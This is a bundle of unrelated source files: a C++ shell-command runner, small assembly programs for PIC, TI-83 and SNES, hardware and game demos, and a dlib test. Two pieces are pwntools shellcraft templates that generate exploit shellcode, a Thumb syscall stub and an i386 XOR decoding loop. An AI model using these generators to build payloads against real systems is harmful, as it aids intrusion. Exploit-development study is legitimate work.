GetWString(User.Name.data()).c_str(),
nullptr, // domain (if this parameter is NULL, the user name must be specified in UPN format)
GetWString(User.Password.data()).c_str(),
0, // logon flags
NULL, // image name
cmdcopy.Data(),
0, // obscure creation flags
lpEnvironment, // environment
cwd, // current directory
&startup_info,
&process_info);
}
if (!res) {
ExecutionStatus = SHELL_ERROR;
/// @todo: write to error stream if set
TStringOutput out(CollectedError);
out << "Process was not created: " << LastSystemErrorText() << " command text was: '" << GetAString(cmdcopy.Data()) << "'";
}
Pid = process_info.hProcess;
CloseHandle(process_info.hThread);
DBG(Cerr << "created process id " << Pid << " in dir: " << cwd << ", cmd: " << cmdcopy.Data() << Endl);
}
#endif
void ShellQuoteArg(TString& dst, TStringBuf argument) {
dst.append("\"");
TStringBuf l, r;
while (argument.TrySplit('"', l, r)) {
dst.append(l);
dst.append("\\\"");
argument = r;
}
dst.append(argument);
dst.append("\"");
}
void ShellQuoteArgSp(TString& dst, TStringBuf argument) {
dst.append(' ');
ShellQuoteArg(dst, argument);
}
TString TShellCommand::TImpl::GetQuotedCommand() const {
TString quoted = Command; /// @todo command itself should be quoted too
for (const auto& argument : Arguments) {
if (QuoteArguments) {
::ShellQuoteArgSp(quoted, argument);
} else {
quoted.append(" ").append(argument);
}
}
return quoted;
}
#if defined(_unix_)
void TShellCommand::TImpl::OnFork(TPipes& pipes, sigset_t oldmask, char* const* argv, char* const* envp) const {
try {
if (DetachSession)
setsid();
// reset signal handlers from parent
struct sigaction sa;
sa.sa_handler = SIG_DFL;
sa.sa_flags = 0;
SigEmptySet(&sa.sa_mask);
for (int i = 0; i < NSIG; ++i) {
// some signals cannot be caught, so just ignore return value
sigaction(i, &sa, nullptr);
}
if (ClearSignalMask) {
SigEmptySet(&oldmask);
}
// clear / restore signal mask
if (SigProcMask(SIG_SETMASK, &oldmask, nullptr) != 0) {
ythrow TSystemError() << "Cannot " << (ClearSignalMask ? "clear" : "restore") << " signal mask in child";
}
pipes.OutputPipeFd[0].Close();
pipes.ErrorPipeFd[0].Close();
TFileHandle sIn(0);
TFileHandle sOut(1);
TFileHandle sErr(2);
if (InputStream) {
pipes.InputPipeFd[1].Close();
TFileHandle sInNew(pipes.InputPipeFd[0]);
sIn.LinkTo(sInNew);
sIn.Release();
sInNew.Release();
} else {
// do not close fd 0 - next open will return it and confuse all readers
/// @todo in case of real need - reopen /dev/null
}
TFileHandle sOutNew(pipes.OutputPipeFd[1]);
sOut.LinkTo(sOutNew);
sOut.Release();
sOutNew.Release();
TFileHandle sErrNew(pipes.ErrorPipeFd[1]);
sErr.LinkTo(sErrNew);
sErr.Release();
sErrNew.Release();
if (WorkDir.size())
NFs::SetCurrentWorkingDirectory(WorkDir);
if (CloseAllFdsOnExec) {
for (int fd = NSystemInfo::MaxOpenFiles(); fd > STDERR_FILENO; --fd) {
fcntl(fd, F_SETFD, FD_CLOEXEC);
}
}
if (!User.Name.empty()) {
ImpersonateUser(User.Name);
}
if (Nice) {
Y_VERIFY(::Nice(Nice), "nice() failed(%s)", LastSystemErrorText());
}
if (envp == nullptr) {
execvp(argv[0], argv);
} else {
execve(argv[0], argv, envp);
}
Cerr << "Process was not created: " << LastSystemErrorText() << Endl;
} catch (const std::exception& error) {
Cerr << "Process was not created: " << error.what() << Endl;
} catch (...) {
Cerr << "Process was not created: "
<< "unknown error" << Endl;
}
exit(-1);
}
#endif
void TShellCommand::TImpl::Run() {
Y_ENSURE(ExecutionStatus != SHELL_RUNNING, AsStringBuf("Process is already running"));
// Prepare I/O streams
CollectedOutput.clear();
CollectedError.clear();
TPipes pipes;
TRealPipeHandle::Pipe(pipes.OutputPipeFd[0], pipes.OutputPipeFd[1]);
TRealPipeHandle::Pipe(pipes.ErrorPipeFd[0], pipes.ErrorPipeFd[1]);
if (InputStream) {
TRealPipeHandle::Pipe(pipes.InputPipeFd[0], pipes.InputPipeFd[1]);
}
ExecutionStatus = SHELL_RUNNING;
#if defined(_unix_)
// block all signals to avoid signal handler race after fork()
sigset_t oldmask, newmask;
SigFillSet(&newmask);
if (SigProcMask(SIG_SETMASK, &newmask, &oldmask) != 0) {
ythrow TSystemError() << "Cannot block all signals in parent";
}
/* arguments holders */
TString shellArg;
TVector<char*> qargv;
/*
Following "const_cast"s are safe:
http://pubs.opengroup.org/onlinepubs/9699919799/functions/exec.html
*/
if (UseShell) {
shellArg = GetQuotedCommand();
qargv.reserve(4);
qargv.push_back(const_cast<char*>("/bin/sh"));
qargv.push_back(const_cast<char*>("-c"));
// two args for 'sh -c -- ',
// one for program name, and one for NULL at the end
qargv.push_back(const_cast<char*>(shellArg.data()));
} else {
qargv.reserve(Arguments.size() + 2);
qargv.push_back(const_cast<char*>(Command.data()));
for (auto& i : Arguments) {
qargv.push_back(const_cast<char*>(i.data()));
}
}
qargv.push_back(nullptr);
TVector<TString> envHolder;
TVector<char*> envp;
if (!Environment.empty()) {
for (auto& env : Environment) {
envHolder.emplace_back(env.first + '=' + env.second);
envp.push_back(const_cast<char*>(envHolder.back().data()));
}
envp.push_back(nullptr);
}
pid_t pid = fork();
if (pid == -1) {
ExecutionStatus = SHELL_ERROR;
/// @todo check if pipes are still open
ythrow TSystemError() << "Cannot fork";
} else if (pid == 0) { // child
if (envp.size() != 0) {
OnFork(pipes, oldmask, qargv.data(), envp.data());
} else {
OnFork(pipes, oldmask, qargv.data(), nullptr);
}
} else { // parent
// restore signal mask
if (SigProcMask(SIG_SETMASK, &oldmask, nullptr) != 0) {
ythrow TSystemError() << "Cannot restore signal mask in parent";
}
}
Pid = pid;
#else
StartProcess(pipes);
#endif
pipes.PrepareParents();
if (ExecutionStatus != SHELL_RUNNING)
return;
TProcessInfo* processInfo = new TProcessInfo(this,
pipes.InputPipeFd[1].Release(), pipes.OutputPipeFd[0].Release(), pipes.ErrorPipeFd[0].Release());
if (AsyncMode) {
WatchThread = new TThread(&TImpl::WatchProcess, processInfo);
WatchThread->Start();
/// @todo wait for child to start its process session (if options.Detach)
} else {
Communicate(processInfo);
}
pipes.ReleaseParents(); // not needed
}
void TShellCommand::TImpl::Communicate(TProcessInfo* pi) {
THolder<IOutputStream> outputHolder;
IOutputStream* output = pi->Parent->OutputStream;
if (!output)
outputHolder.Reset(output = new TStringOutput(pi->Parent->CollectedOutput));
THolder<IOutputStream> errorHolder;
IOutputStream* error = pi->Parent->ErrorStream;
if (!error)
errorHolder.Reset(error = new TStringOutput(pi->Parent->CollectedError));
IInputStream*& input = pi->Parent->InputStream;
try {
#if defined(_win_)
TPipePump pumps[3] = {0};
pumps[0] = {&pi->ErrorFd, error};
pumps[1] = {&pi->OutputFd, output};
TVector<THolder<TThread>> streamThreads;
streamThreads.emplace_back(new TThread(&TImpl::ReadStream, &pumps[0]));
streamThreads.emplace_back(new TThread(&TImpl::ReadStream, &pumps[1]));
if (input) {
pumps[2] = {&pi->InputFd, nullptr, input, &pi->Parent->ShouldCloseInput};
streamThreads.emplace_back(new TThread(&TImpl::WriteStream, &pumps[2]));
}
for (auto& threadHolder : streamThreads)
threadHolder->Start();
#else
TBuffer buffer(DATA_BUFFER_SIZE);
TBuffer inputBuffer(DATA_BUFFER_SIZE);
int bytes;
int bytesToWrite = 0;
char* bufPos = nullptr;
#endif
TWaitResult waitPidResult;
TExitStatus status = 0;
while (true) {
{
with_lock (pi->Parent->TerminateMutex) {
if (TerminateIsRequired(pi)) {
return;
}
}
waitPidResult =
#if defined(_unix_)
waitpid(pi->Parent->Pid, &status, WNOHANG);
#else
WaitForSingleObject(pi->Parent->Pid /* process_info.hProcess */, pi->Parent->PollDelayMs /* ms */);
Y_UNUSED(status);
#endif
// DBG(Cerr << "wait result: " << waitPidResult << Endl);
if (waitPidResult != WAIT_PROCEED)
break;
}
/// @todo factor out (poll + wfmo)
#if defined(_unix_)
bool haveIn = false;
bool haveOut = false;
bool haveErr = false;
if (!input && pi->InputFd.IsOpen()) {
DBG(Cerr << "closing input stream..." << Endl);
pi->InputFd.Close();
}
if (!output && pi->OutputFd.IsOpen()) {
DBG(Cerr << "closing output stream..." << Endl);
pi->OutputFd.Close();
}
if (!error && pi->ErrorFd.IsOpen()) {
DBG(Cerr << "closing error stream..." << Endl);
pi->ErrorFd.Close();
}
if (!input && !output && !error)
continue;
struct pollfd fds[] = {
{REALPIPEHANDLE(pi->InputFd), POLLOUT, 0},
{REALPIPEHANDLE(pi->OutputFd), POLLIN, 0},
{REALPIPEHANDLE(pi->ErrorFd), POLLIN, 0}};
int res;
if (!input)
fds[0].events = 0;
if (!output)
fds[1].events = 0;
if (!error)
fds[2].events = 0;
res = PollD(fds, 3, TInstant::Now() + TDuration::MilliSeconds(pi->Parent->PollDelayMs));
// DBG(Cerr << "poll result: " << res << Endl);
if (-res == ETIMEDOUT || res == 0) {
// DBG(Cerr << "poll again..." << Endl);
continue;
}
if (res < 0)
ythrow yexception() << "poll failed: " << LastSystemErrorText();
if ((fds[1].revents & POLLIN) == POLLIN)
haveOut = true;
else if (fds[1].revents & (POLLERR | POLLHUP))
output = nullptr;
if ((fds[2].revents & POLLIN) == POLLIN)
haveErr = true;
else if (fds[2].revents & (POLLERR | POLLHUP))
error = nullptr;
if (input && ((fds[0].revents & POLLOUT) == POLLOUT))
haveIn = true;
if (haveOut) {
bytes = pi->OutputFd.Read(buffer.Data(), buffer.Capacity());
DBG(Cerr << "transferred " << bytes << " bytes of output" << Endl);
if (bytes > 0)
output->Write(buffer.Data(), bytes);
else
output = nullptr;
}
if (haveErr) {
bytes = pi->ErrorFd.Read(buffer.Data(), buffer.Capacity());
DBG(Cerr << "transferred " << bytes << " bytes of error" << Endl);
if (bytes > 0)
error->Write(buffer.Data(), bytes);
else
error = nullptr;
}
if (haveIn) {
if (!bytesToWrite) {
bytesToWrite = input->Read(inputBuffer.Data(), inputBuffer.Capacity());
if (bytesToWrite == 0) {
if (AtomicGet(pi->Parent->ShouldCloseInput)) {
input = nullptr;
}
continue;
}
bufPos = inputBuffer.Data();
}
bytes = pi->InputFd.Write(bufPos, bytesToWrite);
if (bytes > 0) {
bytesToWrite -= bytes;
bufPos += bytes;
} else {
input = nullptr;
}
DBG(Cerr << "transferred " << bytes << " bytes of input" << Endl);
}
#endif
}
DBG(Cerr << "process finished" << Endl);
#if defined(_win_)
for (auto& threadHolder : streamThreads)
threadHolder->Join();
for (const auto pump : pumps) {
if (!pump.InternalError.empty())
throw yexception() << pump.InternalError;
}
#else
// Now let's read remaining stdout/stderr
while (output && (bytes = pi->OutputFd.Read(buffer.Data(), buffer.Capacity())) > 0) {
DBG(Cerr << bytes << " more bytes of output: " << Endl);
output->Write(buffer.Data(), bytes);
}
while (error && (bytes = pi->ErrorFd.Read(buffer.Data(), buffer.Capacity())) > 0) {
DBG(Cerr << bytes << " more bytes of error" << Endl);
error->Write(buffer.Data(), bytes);
}
#endif
// What's the reason of process exit
bool cleanExit = false;
TMaybe<int> processExitCode;
#if defined(_unix_)
processExitCode = WEXITSTATUS(status);
if (WIFEXITED(status) && processExitCode == 0)
cleanExit = true;
else if (WIFSIGNALED(status))
processExitCode = -WTERMSIG(status);
#else
if (waitPidResult == WAIT_OBJECT_0) {
DWORD exitCode = STILL_ACTIVE;
if (!GetExitCodeProcess(pi->Parent->Pid, &exitCode)) {
ythrow yexception() << "GetExitCodeProcess: " << LastSystemErrorText();
}
if (exitCode == 0)
cleanExit = true;
processExitCode = static_cast<int>(exitCode);
DBG(Cerr << "exit code: " << exitCode << Endl);
}
#endif
pi->Parent->ExitCode = processExitCode;
if (cleanExit) {
pi->Parent->ExecutionStatus = SHELL_FINISHED;
} else {
pi->Parent->ExecutionStatus = SHELL_ERROR;
}
} catch (const yexception& e) {
// Some error in watch occured, set result to error
pi->Parent->ExecutionStatus = SHELL_INTERNAL_ERROR;
pi->Parent->InternalError = e.what();
if (input)
pi->InputFd.Close();
Cdbg << "shell command internal error: " << pi->Parent->InternalError << Endl;
}
// Now we can safely delete process info struct and other data
pi->Parent->TerminateFlag = true;
TerminateIsRequired(pi);
}
TShellCommand::TShellCommand(const TStringBuf cmd, const TList<TString>& args, const TShellCommandOptions& options,
const TString& workdir)
: Impl(new TImpl(cmd, args, options, workdir))
{
}
TShellCommand::TShellCommand(const TStringBuf cmd, const TShellCommandOptions& options, const TString& workdir)
: Impl(new TImpl(cmd, TList<TString>(), options, workdir))
{
}
TShellCommand::~TShellCommand() = default;
TShellCommand& TShellCommand::operator<<(const TStringBuf argument) {
Impl->AppendArgument(argument);
return *this;
}
const TString& TShellCommand::GetOutput() const {
return Impl->GetOutput();
}
const TString& TShellCommand::GetError() const {
return Impl->GetError();
}
const TString& TShellCommand::GetInternalError() const {
return Impl->GetInternalError();
}
TShellCommand::ECommandStatus TShellCommand::GetStatus() const {
return Impl->GetStatus();
}
TMaybe<int> TShellCommand::GetExitCode() const {
return Impl->GetExitCode();
}
TProcessId TShellCommand::GetPid() const {
return Impl->GetPid();
}
TShellCommand& TShellCommand::Run() {
Impl->Run();
return *this;
}
TShellCommand& TShellCommand::Terminate() {
Impl->Terminate();
return *this;
}
TShellCommand& TShellCommand::Wait() {
Impl->Wait();
return *this;
}
TShellCommand& TShellCommand::CloseInput() {
Impl->CloseInput();
return *this;
}
|
INCLUDE "p18f47q10.inc"
; CONFIG1L
CONFIG FEXTOSC = OFF
CONFIG RSTOSC = HFINTOSC_64MHZ
; CONFIG1H
CONFIG CLKOUTEN = OFF
CONFIG CSWEN = ON
CONFIG FCMEN = ON
; CONFIG2L
CONFIG MCLRE = INTMCLR
CONFIG PWRTE = OFF
CONFIG LPBOREN = OFF
CONFIG BOREN = SBORDIS
; CONFIG2H
CONFIG BORV = VBOR_190
CONFIG ZCD = OFF
CONFIG PPS1WAY = OFF
CONFIG STVREN = ON
CONFIG XINST = OFF
; CONFIG3L
CONFIG WDTCPS = WDTCPS_31
CONFIG WDTE = OFF
; CONFIG3H
CONFIG WDTCWS = WDTCWS_7
CONFIG WDTCCS = SC
; CONFIG4L
CONFIG WRT0 = OFF
CONFIG WRT1 = OFF
CONFIG WRT2 = OFF
CONFIG WRT3 = OFF
CONFIG WRT4 = OFF
CONFIG WRT5 = OFF
CONFIG WRT6 = OFF
CONFIG WRT7 = OFF
; CONFIG4H
CONFIG WRTC = OFF
CONFIG WRTB = OFF
CONFIG WRTD = OFF
CONFIG SCANE = ON
CONFIG LVP = ON
ORG 0x00
BANKSEL RX1PPS ;Configure RC7 as RX1
MOVLW 0x17
MOVWF RX1PPS
BANKSEL RC6PPS ;Configure RC6 as TX1
MOVLW 0x09
MOVWF RC6PPS
BANKSEL ANSELC
CLRF ANSELC
BANKSEL TRISC
BSF TRISC, 7 ;RC7 is Input for RX
BCF TRISC, 6 ;RC6 is Output for TX
BANKSEL SP1BRGL ;Configure Baud Generator
MOVLW d'103'
MOVWF SP1BRGL
CLRF SP1BRGH
BANKSEL BAUD1CON ;Configure BAUDCON - Set Baud rate
CLRF BAUD1CON
BANKSEL RC1REG
MOVF RC1REG,W ;Clear out RX Register
BANKSEL RC1STA
BSF RC1STA,SPEN
BSF RC1STA,CREN
BANKSEL TX1STA
BCF TX1STA, TX9 ;Select 8-bit TX
BSF TX1STA, TXEN ;TX Enabled
BCF TX1STA, SYNC_TX1STA ;Use Asynchronous Mode
BCF TX1STA, BRGH ;Use Low Baud Mode
Repeat:
BANKSEL PIR3
WaitRX:
BTFSS PIR3, RC1IF ;While receiving, wait
GOTO WaitRX
BANKSEL RC1REG
MOVF RC1REG,W ;Move Character to working register
BANKSEL TX1STA
WaitTX:
BTFSS TX1STA, TRMT ;While transmitting, wait
GOTO WaitTX
BANKSEL TX1REG
XORLW 0x01
MOVWF TX1REG
GOTO Repeat ;repeat loop
END
|
.nolist
#include "ti83plus.inc"
#define ProgStart $9D95
.list
.org ProgStart - 2
.db t2ByteTok, tAsmCmp
b_call(_ClrLCDFull)
ld hl, 0
ld (PenCol), hl
ld hl, msg
b_call(_PutS) ; Display the text
b_call(_NewLine)
ret
msg:
"Hello world!"
.end
.end |
<%
from pwnlib.shellcraft import thumb
from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context
%>
<%page args="syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None, arg6 = None"/>
<%docstring>
Args: [syscall_number, \*args]
Does a syscall
Any of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.
Example:
>>> print shellcraft.thumb.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
/* call syscall(11, 1, 'sp', 2, 0) */
mov r0, #1
mov r1, sp
mov r2, #2
eor r3, r3
mov r7, #11
swi #1
>>> print shellcraft.thumb.linux.syscall('SYS_exit', 0).rstrip()
/* call exit(0) */
movs r0, 1
subs r0, 1
mov r7, #SYS_exit
swi #1
</%docstring>
<%
if isinstance(syscall, (str, unicode)) and syscall.startswith('SYS_'):
syscall_repr = syscall[4:] + "(%s)"
args = []
else:
syscall_repr = 'syscall(%s)'
if syscall == None:
args = ['?']
else:
args = [repr(syscall)]
for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:
if arg == None:
args.append('?')
else:
args.append(repr(arg))
while args and args[-1] == '?':
args.pop()
syscall_repr = syscall_repr % ', '.join(args)
%>\
/* call ${syscall_repr} */
% for dst, src in zip(['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7'], [arg0, arg1, arg2, arg3, arg4, arg5, arg6, syscall]):
% if src != None:
${thumb.mov(dst, src)}
% endif
% endfor
swi #1
|
Name: ys_mplay3.asm
Type: file
Size: 155260
Last-Modified: '2016-05-13T04:51:15Z'
SHA-1: B80E3649D8C2E703067BFF75235AD9C357F6459F
Description: null
|
// Test program for 4-Digit display with TM1637 chip
// Code Licence: CC BY 4.0 (https://creativecommons.org/licenses/by/4.0/)
// written by m.stroh
#include "TM1637Display.h"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void UserInput(){
printf("press any key to start");
getchar();
}
int main(int argc, char *argv[]) {
TM1637Display display(23, 24, 60); // CLK to GPIO 23 and DIO to GPIO 24, 60% brightness
printf("Test program for 4-Digit display with TM1637 chip (written by m.stroh)\n\n");
printf("Testing int values from 0 to 9999...\n");
UserInput();
for (int nValue=0; nValue<=9999; nValue+=11) {
display.Show(nValue);
}
printf("Testing int values from -999 to 1199...\n");
UserInput();
for (int nValue=-999; nValue<=1199; nValue++) {
display.Show(nValue);
}
printf("\nTesting set single char and double point...\n");
UserInput();
display.Show(1, '2');
display.Show(2, '3');
display.ShowDoublePoint(true);
display.Show(3, '5');
display.Show(4, '4');
sleep(1);
display.ShowDoublePoint(false);
sleep(1);
display.ShowDoublePoint(true);
sleep(1);
display.ShowDoublePoint(false);
printf("\nTesting text...\n");
UserInput();
display.Show("HELO");
sleep(1);
display.Show("HERE");
sleep(1);
display.Show("IS");
sleep(1);
display.Show("YOUR");
sleep(1);
display.Show("PI0 ");
printf("\nTesting special signs ...\n");
UserInput();
display.Show("\\/'\"");
sleep(2);
display.Show("_^\xB0*"); // \xB0 Deg Sign
sleep(2);
display.Show("TCPU");
sleep(2);
display.Show("54*C");
printf("\nTesting clear...\n");
UserInput();
display.Clear();
printf("\nTesting lower brightness...\n");
UserInput();
display.Show("100P");
display.SetBrightness(100);
sleep(1);
display.Show(" 80P");
display.SetBrightness(80);
sleep(1);
display.Show(" 40P");
display.SetBrightness(40);
sleep(1);
display.Show(" 20P");
display.SetBrightness(20);
sleep(1);
display.Show(" 10P");
display.SetBrightness(10);
sleep(1);
printf("\nfinished\n");
display.Clear();
}
|
#include "forward_node.h"
#include "../render_graph.h"
#include "../renderer.h"
namespace nimble
{
DEFINE_RENDER_NODE_FACTORY(ForwardNode)
// -----------------------------------------------------------------------------------------------------------------------------------
ForwardNode::ForwardNode(RenderGraph* graph) :
RenderNode(graph)
{
}
// -----------------------------------------------------------------------------------------------------------------------------------
ForwardNode::~ForwardNode()
{
}
// -----------------------------------------------------------------------------------------------------------------------------------
void ForwardNode::declare_connections()
{
m_color_rt = register_scaled_output_render_target("Color", 1.0f, 1.0f, GL_TEXTURE_2D, GL_RGBA16F, GL_RGBA, GL_HALF_FLOAT);
m_depth_rt = register_scaled_output_render_target("Depth", 1.0f, 1.0f, GL_TEXTURE_2D, GL_DEPTH_COMPONENT32F, GL_DEPTH_COMPONENT, GL_FLOAT);
m_velocity_rt = register_scaled_output_render_target("Velocity", 1.0f, 1.0f, GL_TEXTURE_2D, GL_RG16F, GL_RG, GL_HALF_FLOAT);
}
// -----------------------------------------------------------------------------------------------------------------------------------
bool ForwardNode::initialize(Renderer* renderer, ResourceManager* res_mgr)
{
m_library = renderer->shader_cache().load_library("shader/forward/forward_vs.glsl", "shader/forward/forward_fs.glsl");
m_color_rtv[0] = RenderTargetView(0, 0, 0, m_color_rt->texture);
m_color_rtv[1] = RenderTargetView(0, 0, 0, m_velocity_rt->texture);
m_depth_rtv = RenderTargetView(0, 0, 0, m_depth_rt->texture);
return true;
}
// -----------------------------------------------------------------------------------------------------------------------------------
void ForwardNode::execute(double delta, Renderer* renderer, Scene* scene, View* view)
{
renderer->bind_render_targets(2, m_color_rtv, &m_depth_rtv);
glViewport(0, 0, m_graph->window_width(), m_graph->window_height());
glEnable(GL_DEPTH_TEST);
glEnable(GL_CULL_FACE);
glCullFace(GL_BACK);
glClearColor(0.0f, 0.0f, 0.0f, 1.0f);
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
render_scene(renderer, scene, view, m_library.get(), NODE_USAGE_DEFAULT);
}
// -----------------------------------------------------------------------------------------------------------------------------------
void ForwardNode::shutdown()
{
}
// -----------------------------------------------------------------------------------------------------------------------------------
std::string ForwardNode::name()
{
return "Forward";
}
// -----------------------------------------------------------------------------------------------------------------------------------
} // namespace nimble |
#include <ecs/ecs.h>
#include <iostream>
#include <thread>
using namespace std::chrono_literals;
struct health {
int hp = 100;
};
struct infection {
static constexpr int dmg = 8; // dmg per tick
static constexpr int dmg_tick = 2; // how often it damages
static constexpr int spread_tick = 1; // how often it spreads
static constexpr int spread_range = 2; // how far it spreads
int duration = 6000; // lasts for 6 seconds
};
// Handle damage logic
void do_damage_logic(ecs::entity_id self, health& h, infection const&) {
// Subtract the damage from the health component
h.hp -= infection::dmg;
std::cout << "entity " << self << " took " << infection::dmg << " damage, health is now " << h.hp << '\n';
}
// Handle spread logic
void do_spread_logic(ecs::entity_id self, infection const& p) {
// Do a spread tick. Use hardcoded entities for simplicitys sake
auto const ents_in_range = {
ecs::entity_id{1},
ecs::entity_id{2}}; /* should find all entities (with health component) in spread_range using game logic */
for (auto const ent : ents_in_range) {
if (!ecs::has_component<infection>(ent)) {
if (ecs::get_component<health>(ent)->hp > 0) {
// Add a copy of the infection component if the entity doesn't already have it.
// This means that newly infected entities are only affected for
// the remaing duration of this infection component
ecs::add_component(ent, infection{p}); // entity 1 and 2 survives
//ecs::add_component(ent, infection{}); // start a fresh infection instead. Entity 1 dies as well
std::cout << "entity " << self << " infected entity " << ent << '\n';
}
}
}
}
// Handle spell logic
void do_spell_logic(ecs::entity_id self, infection& p, health const& h) {
p.duration -= 100;
bool remove_spell = false;
if (h.hp <= 0) {
// The plague did its job, so remove it from the entity
remove_spell = true;
std::cout << "entity " << self << " has died of the plague.\n";
} else if (p.duration <= 0 && h.hp > 0) {
// The spell has run its course without depleting the health, so remove it.
remove_spell = true;
std::cout << "entity " << self << " is no longer infected\n";
}
if (remove_spell)
ecs::remove_component(self, p);
}
int main() {
// Create the plague spell system from the lambda
//ecs::make_system(plague_spell_lambda);
ecs::make_system<ecs::opts::frequency<infection::dmg_tick>>(do_damage_logic);
ecs::make_system<ecs::opts::frequency<infection::spread_tick>>(do_spread_logic);
ecs::make_system<ecs::opts::frequency<10>>(do_spell_logic);
// Add health components to entities 0, 1, 2
ecs::add_component(0, health{80});
ecs::add_component(1, health{100});
ecs::add_component(2, health{120});
// Infect the first entity
ecs::add_component(0, infection{});
// Simulate a game loop. Keep going until the plague is gone x_x
do {
// Commits changes to components and runs the system
ecs::update();
std::this_thread::sleep_for(10ms);
} while (ecs::get_component_count<infection>() > 0);
}
|
;header for SNES
.segment "SNESHEADER"
;$00FFC0-$00FFFF
.byte "EXAMPLE 4 " ;rom name 21 chars
.byte $30 ;LoROM FastROM
.byte $00 ; extra chips in cartridge, 00: no extra RAM; 02: RAM with battery
.byte $08 ; ROM size (2^# in kB)
.byte $00 ; backup RAM size
.byte $01 ; US
.byte $33 ; publisher id
.byte $00 ; ROM revision number
.word $0000 ; checksum of all bytes
.word $0000 ; $FFFF minus checksum
;ffe0 not used
.word $0000
.word $0000
;ffe4 - native mode vectors
.addr IRQ_end ;cop native **
.addr IRQ_end ;brk native **
.addr $0000 ;abort native not used *
.addr NMI ;nmi native
.addr RESET ;RESET native
.addr IRQ ;irq native
;fff0 not used
.word $0000
.word $0000
;fff4 - emulation mode vectors
.addr IRQ_end ;cop emulation **
.addr $0000 ; not used
.addr $0000 ;abort not used *
.addr IRQ_end ;nmi emulation
.addr RESET ;RESET emulation
.addr IRQ_end ;irq/brk emulation **
;* the SNES doesn't use the ABORT vector
;**the programmer could insert COP or BRK as debugging tools
;The SNES boots up in emulation mode, but then immediately
; will be set in software to native mode
;IRQ_end is just an RTI
;the vectors here need to be in bank 00
;The SNES never looks at the checksum. Some emulators
;will give a warning message, if the checksum is wrong,
;but it shouldn't matter. It will still run.
|
; A006257: Josephus problem: a(2*n) = 2*a(n)-1, a(2*n+1) = 2*a(n)+1.
; 0,1,1,3,1,3,5,7,1,3,5,7,9,11,13,15,1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,127,1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51,53,55,57,59,61,63,65,67,69,71,73,75,77,79,81,83,85,87,89,91,93,95,97,99,101,103,105,107,109,111,113,115,117,119,121,123,125,127,129,131,133,135,137,139,141,143,145,147,149,151,153,155,157,159,161,163,165,167,169,171,173,175,177,179,181,183,185,187,189,191,193,195,197,199,201,203,205,207,209,211,213,215,217,219,221,223,225,227,229,231,233,235,237,239,241,243
mov $2,$0
lpb $0,1
mul $0,2
sub $0,1
mov $1,$0
trn $0,$2
lpe
|
<%
from pwnlib.shellcraft import pretty, common, i386, registers
from pwnlib.util.packing import pack, unpack
from pwnlib.context import context as ctx
from pwnlib.log import getLogger
%>
<%page args="key, address, count"/>
<%docstring>
XORs data a constant value.
Args:
key (int,str): XOR key either as a 4-byte integer,
If a string, length must be a power of two,
and not longer than 4 bytes.
Alternately, may be a register.
address (int): Address of the data (e.g. 0xdead0000, 'esp')
count (int): Number of bytes to XOR, or a register containing
the number of bytes to XOR.
Example:
>>> sc = shellcraft.read(0, 'esp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'esp', 32)
>>> sc += shellcraft.write(1, 'esp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
</%docstring>
<%
log = getLogger('pwnlib.shellcraft.templates.i386.xor')
# By default, assume the key is a register
key_size = ctx.bytes
key_pretty = key
key_register = registers.get_register(key)
if key_register:
assert key_register.bytes == ctx.bytes
else:
key_str = key
key_int = key
if isinstance(key, int):
key_str = pack(key, bytes=4)
else:
key_int = unpack(key, 'all')
if len(key_str) > ctx.bytes:
log.error("Key %s is too large (max %i bytes)" % (pretty(key), ctx.bytes))
if len(key_str) not in (1,2,4):
log.error("Key length must be a power of two (got %s)" % pretty(key))
key_size = len(key_str)
key_pretty = pretty(key_int)
if count == 0 or key_size == 0:
return '/* noop xor */'
start = common.label('start')
## Determine the move size
word_name = {1:'BYTE', 2:'WORD', 4:'DWORD', 8:'QWORD'}[key_size]
## Set up the register context
regctx = {'eax': count, 'ecx': address}
if key_register and key_register.name in regctx:
regctx['ebx'] = key
key_pretty = 'ebx'
%>
/* xor(${pretty(key)}, ${pretty(address)}, ${pretty(count)}) */
${i386.setregs(regctx)}
add eax, ecx
${start}:
xor ${word_name} PTR [ecx], ${key_pretty}
add ecx, ${key_size}
cmp ecx, eax
jb ${start}
|
// Copyright (C) 2010 Davis E. King (davis@dlib.net)
// License: Boost Software License See LICENSE.txt for the full license.
#include <dlib/optimization.h>
#include <sstream>
#include <string>
#include <cstdlib>
#include <ctime>
#include <vector>
#include <dlib/rand.h>
#include <dlib/string.h>
#include <dlib/statistics.h>
#include "tester.h"
namespace
{
using namespace test;
using namespace dlib;
using namespace std;
logger dlog("test.opt_qp_solver");
// ----------------------------------------------------------------------------------------
class test_smo
{
public:
double penalty;
double C;
double operator() (
const matrix<double,0,1>& alpha
) const
{
double obj = 0.5* trans(alpha)*Q*alpha - trans(alpha)*b;
double c1 = pow(sum(alpha)-C,2);
double c2 = sum(pow(pointwise_multiply(alpha, alpha<0), 2));
obj += penalty*(c1 + c2);
return obj;
}
matrix<double> Q, b;
};
// ----------------------------------------------------------------------------------------
class test_smo_derivative
{
public:
double penalty;
double C;
matrix<double,0,1> operator() (
const matrix<double,0,1>& alpha
) const
{
matrix<double,0,1> obj = Q*alpha - b;
matrix<double,0,1> c1 = uniform_matrix<double>(alpha.size(),1, 2*(sum(alpha)-C));
matrix<double,0,1> c2 = 2*pointwise_multiply(alpha, alpha<0);
return obj + penalty*(c1 + c2);
}
matrix<double> Q, b;
};
